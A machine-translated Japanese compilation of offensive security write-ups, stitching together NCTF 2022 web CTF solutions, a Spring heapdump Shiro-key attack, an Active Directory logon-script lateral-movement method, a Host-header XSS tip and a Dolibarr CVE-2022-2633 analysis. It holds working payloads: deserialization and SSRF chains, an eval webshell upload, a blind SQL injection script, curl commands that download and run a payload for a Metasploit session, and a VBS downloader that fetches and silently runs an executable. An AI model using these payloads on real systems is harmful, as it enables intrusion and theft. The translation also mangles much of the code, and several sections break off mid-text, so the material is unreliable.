変更前のvi app/config.py:

file

file

指紋を追加

インストールが成功した後、指紋を追加して灯台に強い指紋を与えます。

住所:https://VPS:5003/!

デフォルトアカウントの秘密:admin \ arlpass

git clone https://github.com/loecho-sec/arl-finger-add

CD arl-finger-add

python arl-finger-add.py -o https://vps:5003/admin arlpasscopy file

インストールに正常に

デフォルトのパスワードでログインし、右上隅のデフォルトのパスワードを変更して、喜んで使用します。

babyphp

index.php:

?php

//flag.phpの何か

クラスA

{

public $ a;

public $ b;

パブリック機能__wakeup()

{

$ this-a='babyhacker';

}

パブリック機能__invoke()

{

if(isset($ this-a)$ this-a==md5($ this-a)){

$ this-b-uwant();

}

}

}

クラスb

{

public $ a;

public $ b;

public $ k;

function __destruct()

{

$ this-b=$ this-k;

die($ this-a);

}

}

クラスc

{

public $ a;

public $ c;

パブリック機能__toString()

{

$ cc=$ this-c;

$ cc()を返します。

}

パブリック関数uwant()

{

if($ this-a=='phpinfo'){

phpinfo();

} それ以外{

call_user_func(array(reset($ _ session)、$ this-a));

}

}

}

if(isset($ _ get ['d0g3'])){

ini_set($ _ get ['baby']、$ _get ['d0g3']);

session_start();

$ _SESSION ['SESS']=$ _POST ['SESS'];

}

それ以外{

session_start();

if(isset($ _ post ['pop'])){

Unserialize($ _ post ['pop']);

}

}

var_dump($ _ session);

highlight_file(__ file__);

flag.php:

?php

session_start();

highlight_file(__ file__);

//ルートディレクトリのフラグ

if($ _ server ['remote_addr']==='127.0.0.1'){

$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));

$ _Session ['f1ag']=$ f1ag;

}それ以外{

echo 'only localhost !';

}

ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。

アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします

SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。

ポップチェーンPayload:

?php

クラスA

{

public $ a;

public $ b;

}

クラスb

{

}

クラスc

{

public $ a;

public $ c;

}

$ cc=new C();

$ cc-a='xxxx';

$ a=new a();

$ a-a='0E215962017';

$ a-b=$ cc;

$ c=new C();

$ c-c=$ a;

$ b=new b();

$ b-a=$ c;

Echo Serialize($ b);

SSRF Payload:

?php

//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));

$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));

$ b=serialize($ a);

echo '|' .urlencode($ b);

最初にGlobiteratorを使用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

splfileobjectを再利用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

ez_js

ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。

ホームページを右クリックして、次のようにコメントします:

! - この秘密はセキュリティのために7文字の長いです!

Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A

管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%

-

1目のハッシュ長拡張攻撃

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します

'ı'.touppercase()==' i '//true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)

var Express=require( 'Express');

var router=express.router();

const isobject=obj=obj obj.constructor obj.constructor===object;

const merge=(a、b)={

for(b in bのvar attr){

if(isobject(a attr])isobject(b [attr])){

マージ([attr]、b [attr]);

} それ以外{

a [attr]=b [attr];

}

}

aを返します

}

const clone=(a)={

MERGE({}、a)を返します。

}

router.get( '/'、function(req、res、next){

if(req.flag=='flag'){

//出力フラグ;

res.send( 'flag ???');

}

Res.Render( 'Info');

});

router.post( '/'、express.json()、function(req、res){

var str=req.body.id;

var obj=json.parse(str);

req.cookies.id=clone(obj);

Res.Render( 'Info');

});

module.exports=router;

REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです

id={'__ proto __' :+{'flag':+' flag '}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

次に、旗にアクセスします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静的ターゲットマシンのスクリーンショット

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

最初にphpinfoをアップロードします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます

HTML

form method='post' enctype='multipart/form-data'

このフロントエンドは美しくありません!

入力型='ファイル' name='upload_file' /

入力タイプ='送信' name='送信'値='送信' /

/形状

/体

/HTML

?php

function waf($ var): bool {

$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];

foreach($ blacklist as $ blackword){

if(strstr($ var、$ blackword))trueを返します。

}

falseを返します。

}

error_reporting(0);

//Directoryのアップロードを設定します

定義( 'upload_path'、 './uploads');

$ msg='アップロード成功!';

if(isset($ _ post ['submit'])){

$ temp_file=$ _files ['upload_file'] ['tmp_name'];

$ file_name=$ _files ['upload_file'] ['name'];

$ ext=pathinfo($ file_name、pathinfo_extension);

if(!preg_match( '/php/i'、strtolower($ ext))){

die( '私は写真が欲しくない、xiong da');

}

$ content=file_get_contents($ temp_file);

if(waf($ content)){

die( 'ああ、あなたは何をしているの、小さなheizi .');

}

$ new_file_name=md5($ file_name)。 '。'。$ ext;

$ img_path=upload_path。 '/'。 $ new_file_name;

if(move_uploaded_file($ temp_file、$ img_path)){

$ is_upload=true;

} それ以外{

$ msg='アップロード障害!';

die();

}

echo $ msg。 ' '。$ img_path;

ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます

Reをインポートします

preg='\*'

def converttourl(s):

S 16:の場合

return '%0' + str(hex(s).replace( '0x'、 ''))

else:

return '%' + str(hex(s).r

1.calc

質問アドレス:http://116.205.139.16633608001/

右クリック /ソースソースコード

@app.route( '/calc'、method=['get'])

def calc():

ip=request.remote_addr

num=request.values.get( 'num')

log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)

WAF(num):の場合

try:

data=eval(num)

os.system(log)

:を除く

合格

str(データ)を返す

else:

「waf !」を返します

フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます

http://162.14.110.241:8050/calc?num []=

def waf(s):

blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]

flag=true

BlackList:ではありません

s.lower():のno.lower()の場合

flag=false

印刷(いいえ)

壊す

フラグを返します

試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。

次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります

/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a

/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a

/calc?num=%0a '/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

質問アドレス:http://81.70.155.160/

ayacms githubアドレス

https://github.com/loadream/ayacms

問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります

バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.

そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました

ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。

この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます

私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。

暗号化中のaya_keyは、デフォルト値AAAです

ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます

https://github.com/loadream/ayacms/issues/3

ペイロード

?php

関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){

$ hash='';

$ max=strlen($ chars)-1;

for($ i=0; $ i $ length; $ i ++){

$ hash。=$ chars [mt_rand(0、$ max)];

}

$ hashを返します。

}

function kecrypt($ txt、$ key){

$ key=md5($ key);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ txt [$ i]^$ key [$ ctr ++];

}

$ strを返します。

}

function encrypt($ txt、$ key=''){

$ keyまたは$ key='aaa';

$ rnd=random(32);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);

}

return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));

}

echo necrypt( './module/admin/fst_upload');

HTTPパッケージ

post /aya/admin.inc.php http/1.1

HOST: 81.70.155.160

Content-Length: 244

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: null

Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda

Connection:閉じます

----- webkitformboundarykhsd4wq8ubmzcnd1

content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'

Content-Type:アプリケーション/Octet-Stream

?php eval($ _ request [1]); phpinfo();

----- webkitformboundarykhsd4wq8ubmzcnd1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

ヒントヒントwafはmodsecurityです

タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php

オンラインで参照記事を見つけました

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。

リクエストをインポートします

インポート時間

flag=''

i=1

true:

min=32

max=127

最小max:

time.sleep(0.08)

mid=(min + max)//2

印刷(chr(mid))

payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)

url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)

res=requests.get(url)

res.text:の「letian」の場合

min=Mid + 1

else:

max=mid

flag +=chr(min)

I +=1

print( 'found'、flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

タイトルの説明はソースコードを示します

app.js

Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';

'./db.js'からのインポートフライト;

const app=new Application();

const router=new Router();

router.get( '/'、async(ctx)={

ctx.response.body='フライトをチェックしてください `/flight?id=`';

});

router.get( '/flight'、async(ctx)={

const id=helpers.getquery(ctx、{mergeparams: true});

const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();

ctx.response.body=info;

});

app.use(router.routes());

app.use(router.allowedMethods());

app.listen({port: 3000、hostname: '0.0.0.0'});

db.js

'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート

const connector=new sqlite3connector({

filepath: '/tmp/flight.db'

});

const db=new Database(connector);

クラスフライトはモデルを拡張します{

静的テーブル='Flight';

静的フィールド={

ID: {PrimaryKey: true、autoincrement: true}、

Department: Datatypes.String、

Destination: datacypes.string、

};

}

クラスフラグはモデルを拡張します{

静的テーブル='flag';

静的フィールド={

flag: datatypes.string、

};

}

db.link([flight、flag]);

await db.sync({drop: true});

flight.createを待っています({

部門:「パリ」、

Destination: '東京'、

});

flight.createを待っています({

部門: 'ラスベガス'、

Destination: 'ワシントン'、

});

flight.createを待っています({

部門:「ロンドン」、

Destination: 'サンフランシスコ'、

});

flag.createを待っています({

flag: deno.env.get( 'flag')、

});

デフォルトフライトをエクスポートします

hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません

ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。

http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022

元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc

1。はじめに

Spring HeapdumpがShiro Keyを漏らし、したがってRCEを漏らし、脆弱な環境を構築しました。 GitHubアドレス:https://Github.com/p4r4d1se/heapdump_shiro_vuln

脆弱性の悪用条件:

Spring Shiro環境にはHeapdumpファイルの漏れと搾取可能なチェーンがあります。

2。脆弱性の原則

多くの大物は、シロ関連の脆弱性の原則とデバッグ分析を共有しています。ここでは詳しく説明しません。私は主にこの脆弱性環境を説明します:

(1)Springには実際にSpring Securityと呼ばれる独自のデフォルトのセキュリティフレームワークがありますが、Shiroの使用にはいくつかの開発が使用され、Spring SecuriyをShiroに置き換えます。この状況は珍しいことではありません。たとえば、RuoyiはSpring Shiroです。

1049983-20221205094141235-716240315.jpg(2)キーがある場合、シロの最新バージョンでさえ依然として脆弱性があり、多くの場合、開発、展開、その他の問題によりシロのキーが漏れます。

(3)Shiroが1.2.4を超えるバージョンでは、開発者の手動介入なしにキーがランダム生成に変更されます。このランダム生成は、Web環境が開始されるたびに再起動する前にキーが変更されないことです。 JVM仮想マシンメモリにあります。

1049983-20221205094142103-2055517121.jpg(4)SpringのHeapdumpファイルは、JVM仮想マシンメモリからエクスポートされます。

要約すると、この組み合わせの脆弱性が作成されました。

3。脆弱性の実証

脆弱な環境を読み込んだ後、シロバージョンが1.8.0であることがわかります。

1049983-20221205094143073-114670788.jpg

ポート8080で /アクチュエータ /heapdumpにアクセスして、heapdumpファイルを取得します。

1049983-20221205094143969-554120927.jpg

シロのキーを取得するためによく使用する方法は2つあります。

(1)jdumpspider:https://github.com/whwlsfb/jdumpspider

このウィジェットは、Heapdumpの変動情報を自動的にクロールすることができますが、これはより便利です。欠点は、クロールリストにない情報を見逃す可能性があることです。

:javaを直接実行します-jar jdumpspider.jar heapdump変数情報を自動的に取得します。ここでは、Shirokeyを入手してください:1049983-20221205094144681-379271828.jpg(2)jvisualvm.exe:Java独自のツール、デフォルトパスはJDKディレクトリ/bin/jvisualvm.exeです。

このツールは、必要な情報を手動で見つけて、フィルターにorg.apache.shiro.web.mgt.cookieremembermemanagerを入力する必要があります。

Pythonスクリプトを使用して、Base64エンコードのShiroキーに変換します。Pythonスクリプトを使用して、Base64エンコードされたShiroキーに変換します。

base64をインポートします

インポート構造

print(base64.b64encode(struct.pack( 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb)-115,33,59,24,112,44,124,56,110、-15,59,1、-41)))

1049983-20221205094147320-612137025.jpg

サーバーを再起動して、shiroキーをもう一度取得します。キーが変更されたことがわかります。脆弱性の原則の3番目のポイントが検証されます。開始するたびに、ランダムキーが生成されます。

1049983-20221205094148077-2083177773.png

新しいキーに切り替えることは、引き続き使用できます。

1049983-20221205094148947-1689724177.jpg

元のリンクから転載:https://xz.aliyun.com/t/11908

0x1。利用シナリオ

ドメイン制御許可またはドメイン管理者およびその他の高権限を取得する場合、ドメインのPCホストに水平に移動する場合、相手はファイアウォールを開き、445および135で水平に使用できません。ログインスクリプト拘束方法を介してターゲットホストの権限を取得できます。

0x2。利用方法

方法1:PowerShell Win2012以上が伴い、現在のドメインユーザー情報を取得する

get -aduser -filter * -properties * | lastlogondateをソート|名前、メール、distinguedname、lastlogondate |を選択しますExport -CSV -Path C: \ users \ public \ documents \ user.csv -Encoding utf8

指定されたユーザーをバインドします

set -aduser -identity zhangsan -scriptpath 'download.vbs'

バインド

set -aduser -identity zhangsan -scriptpath ''

方法2:バインディングにはDSMODを使用します

dsmod user -loscr'download.vbs''cn=john、cn=users、dc=redteam、dc=com '

バインド

dsmod user -loscr '' 'cn=john、cn=users、dc=redteam、dc=com'

グループポリシーを更新します

シェルgpupdate /force

VBSコンテンツ

strfileurl='http://192.168.172.129:82/logo.ico'strhdlocation=' c: \ uses \ public \ documents \ chsime.exe'set objxmlhttp=create object( 'msxml2.xmlhttp')objxmlhttp.open'get '、strfileurl、falseobjxmlhttp.send()if objxmlhttp.status=200thenset objadosteam=create object(' adodb.stream.openobjadtream.penttream.peentream. 'adtypebinaryobjadostream.write objxmlhttp.responsebodyobjadostream.position=0'Stremset objfso=createObject(' scripting.filesemobject ')if objfso.fileeexists(strhdlocation)の場合、Stripting.filesextystemobject') Nothingobjadostream.savetofile strhdlocationobjadostream.closeset objadostream=noteendifset objxmlhttp=nothingstrcomputer='。' setws=wscript.createObject.createObject( 'wscript.shell')val=ws.run ( 'c: \ uses \ public \ documents \ chsime.exe'、0)

ディレクトリDC C: \ Windows \ sysvol \ sysvol \ redteam.com \ scripts \にアップロードし、1つまたは2つの方法でバインドし、グループポリシーを更新します。

https://www.cnblogs.com/websecyw/p/16657762.html

0x00序文

パブリックテストと排他的なテストに関して、XSSホール、水文学、水文学、水文学を拾う方法!

0x01毎日のテスト

毎日の退屈テストサイト。侵入テストを受けている場合、サーバー内のイメージを呼び出すHTMLタグがあり、サーバーIPアドレスを追加するタイプであることがわかります。ホストヘッダーを変更してXSSがあるかどうかを検出することにより、ファズを試みることができます。1049983-20221205120118289-2003703296.jpg 1049983-20221205120119178-982184139.jpgこの状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。1049983-20221205120119915-1550751559.jpg

成功ポップアップウィンドウ1049983-20221205120120690-217287024.jpg 1049983-20221205120121286-2038736915.jpgラグを拾うためのヒントが完了しました。

元のリンクから転載:https://Blog.csdn.net/guapichen/article/details/124040935?spm=1001.2014.3001.5501

0x01脆弱性はじめに

dolibarr erp crm=15.0.3は、評価注入に対して脆弱です。デフォルトでは、任意の管理者をdolibarrのインストールページに追加でき、正常に追加された場合、悪意のあるコードをデータベースに挿入してから、評価によって実行できます。

CVE番号:CVE-2022-2633

脆弱性の説明:dolibarr edit.phpには、リモートコマンド実行の脆弱性があります。攻撃者が論理的な脆弱性を通じて管理者を作成した後、バックグラウンドの脆弱性を介してサーバーの権限を取得できます。

影響を受けるバージョン:=15.0.3

0x02脆弱性分析

1.環境構造

ソースコードダウンロードアドレス:3https://github.com/dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

それをWebディレクトリに解凍して直接アクセスする〜/htdocs/

image-20221112215135292

次に、インストールするようにconf/conf.phpを構成します

2。管理者ユーザーを登録

これは実際には論理的な脆弱性です。システムをインストールした後、ロックしませんが、ユーザーがドキュメントディレクトリに手動で追加する必要があるため、管理者アカウントを追加するためにいつでも入力できます。

たとえば、ここにAAAユーザーを追加します

image-20221112224440198

背景を正常に入力できます

image-20221112224514801

3.BackEnd RCE

バックグラウンドRCEの最後のポイントは、htdocs/core/lib/functions.lib.phpのdol_eval()関数にあります

しかし、ここにはWAFがあり、危険な機能のほとんどは禁止されています

//PHP execまたはPHPファイル機能の使用をブロックします

$ forbiddenphpstrings=array( '$$');

$ FORBIDDENPHPSTRINGS=ARRAY_MERGE($ FORBIDDENPHPSTRINGS、ARRAY( '_ env'、 '_Session'、 '_cookie'、 '_get'、 '_post'、 '_request'));

$ forbiddenphpfunctions=array( 'exec'、 'passthru'、 'shell_exec'、 'system'、 'proc_open'、 'popen'、 'eval'、 'dol_eval'、 'executecli');

$forbiddenphpfunctions=array_merge($forbiddenphpfunctions, array('fopen', 'file_put_contents', 'fputs', 'fputscsv', 'fwrite', 'fpassthru', 'require', 'include', 'mkdir', 'rmdir', 'symlink', 'touch', 'unlink', 'umask'));

$ forbiddenphpfunctions=array_merge($ forbiddenphpfunctions、array( 'function'、 'call_user_func'));

$ forbiddenphpregex='global \ s+\ $ | \ b('。prode( '|'、$ forbiddenphpfunctions)。 ')\ b';

する {

$ oldstringtoclean=$ s;

$ s=str_ireplace($ forbiddenphpstrings、 '__forbiddenstring__'、$ s);

$ s=preg_replace( '/'.forbiddenphpregex。'/i '、' __forbiddenstring__ '、$ s);

//$ s=preg_replace( '/\ $ [a-za-z0-9 _ \ - \ $]+\(/i'、 ''、$ s); //削除$ function(call and $ mycall-mythod(

} while($ oldstringtoclean!=$ s);

if(strpos($ s、 '__forbiddenstring__')!==false){

dol_syslog( 'bad string syntax to Evaluate3:'。$ s、log_warning);

if($ returnValue){

'bad string構文を返して、'を評価します。$ s;

} それ以外{

dol_syslog( 'bad string syntax to Evaluate:'。$ s);

戻る '';

}

}

//$ s.'br \ n 'を印刷します。

if($ returnValue){

if($ hiderrors){

return @eval( 'return'。$ s。 ';');

} それ以外{

return eval( 'return'。$ s。 ';');

}

} それ以外{

if($ hiderrors){

@eval($ s);

} それ以外{

eval($ s);

}

}

ここでは、dol_eval()の呼び出しを探し、上記のverifcond()が呼び出されます

そして、ここにスプライシングがあり、これについては後で説明します。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

次に、Verifcond関数のグローバルパラメーター制御可能な呼び出しを探します。 menubase.class.phpのmenuload()関数にポイントがあります。

image-20221112232201159

Verifcondコードは制御可能ですが、データベースのクエリ結果から取得されることがわかります。

パームと有効化に注意してください。どちらもVerifcondに直接入力できます

$ resql=$ this-db-query($ sql);

if($ resql){

$ numa=$ this-db-num_rows($ resql);

$ a=0;

$ b=0;

while($ a $ numa){

//$ objm=$ this-db-fetch_object($ resql);

$ menu=$ this-db-fetch_array($ resql);

//$右を定義します

$ perms=true;

if(isset($ menu ['perms'])){

$ tmpcond=$ menu ['perms'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ perms=verifcond($ tmpcond);

//'verifcond rowid='。$ menu ['rowid']。 'を印刷します。 '。$ tmpcond.':'。$ perms.'br \ n ';

}

//$ enabledを定義します

$ enabled=true;

if(isset($ menu ['enabled'])){

$ tmpcond=$ menu ['enabled'];

if($ leftmenu=='all'){

$ tmpcond=preg_replace( '/\ $ leftmenu \ s*==\ s*[' \ 'a-za-z _]+/'、 '1==1'、$ tmpcond); //条件の部分を真に強制します

}

$ enabled=verifcond($ tmpcond);

}

ここで実行されているSQLステートメントを見るために正面に行きましょう。 「.main_db_prefix」のデータを照会しています。メニューテーブルですが、条件付きステートメントがあります

(0、 '。$ conf-entity。')のm.entity

m.menu_handler in( ''。$ this-db-escape($ menu_handler)。 ''、 'all')

したがって、「.main_db_prefix」に挿入ステートメントを見つけることができる場合。メニューでは、パームを制御し、フィールドとエンティティとmenu_handlerを有効にして、条件を満たすことができます。エンティティは$ conf-entityから来ていることに注意してください

$ sql='Select M.Rowid、M.Type、M.Module、M.FK_Menu、M.FK_Mainmenu、M.FK_LeftMenu、M.Url、M.Titre、M.Prefix、M.Langs、M.Perms、M.Enabled、M.Target、M.Mainmenu、M.Leftmenu、M.Leftmenu、M.Position';

$ sql。='from' .main_db_prefix.'menu as m ';

$ sql。='ここで、m.entity in(0、'。$ conf-entity。 ')';

$ sql。='およびm.menu_handler in(' '。$ this-db-escape($ menu_handler)。' '、' all ')';

if($ type_user==0){

$ sql。='およびm.usertype in(0,2)';

}

if($ type_user==1){

$ sql。='およびm.usertype in(1,2)';

}

$ sql。='M.Position、M.Rowid'による注文;

ここでは、定期的な検索を検索してください。実際、同じファイルにcreate()関数、そのような点があります。

image-20221113000249851

次に、パラメーターが制御可能かどうかを確認する必要があります。ここの値はメンバー属性として設定されますが、エンティティは$ conf-entityであり、上記のSQLクエリもこれであるため、条件を直接満たします。

image-20221113001946769

次に、menuload関数を実行するときにmenu_handlerが自動的に入力されることがわかりました。

image-20221113002330295

したがって、両方の条件が解決された場所。残りは、パーマとイネーブルが制御されているかどうかを確認することです。クラス内のメンバー変数を割り当てる場所はないため、グローバルに検索する必要があります。

メニュー/edit.phpでパーマとイネーブルを直接制御できることがわかります

image-20221113002856865

デバッグ後、MenuIDは一意である必要があることがわかりました。そうしないと、競合し、データベースに書き込むことができません。ここでのタイプは1に設定する必要があります。そうしないと、エラーが報告されます。

1049983-20221114122937786-1858356172.png

次に、WAFをバイパスしてevalを実行する方法を研究します。ここで、著者のアプローチは、PHP:変数関数の特性を使用することです

//file_put_contents

$ a=base64_decode( 'zmlszv9wdxrfy29udgvudhm=');

//shellcode

$ a( '。1234.php'、base64_decode( 'pd9wahagcghwaw5mbygpoz8+cg=='));

Verifcond関数を見る

これが文字列のスプライシングです。 evalが実行されているため、ブラケットを閉じて次のコードをコメントすることができます。

関数verifcond($ stroevaluate)

{

グローバル$ユーザー、$ conf、$ langs;

グローバル$ leftmenu;

グローバル$ rights; //dol_eval関数にエクスポートします

//$ strtoevaluate.'br \ n ';

$ rights=true;

if(ISSET($ sttoevaluate)$ stroevaluate!==''){

$ str='if(!('。$ sttoevaluate。 '))$ rights=false;';

dol_eval($ str、0、1、 '2');

}

$ rightsを返します。

}

これはそのようなペイロードです(無害なペイロード

1==1)

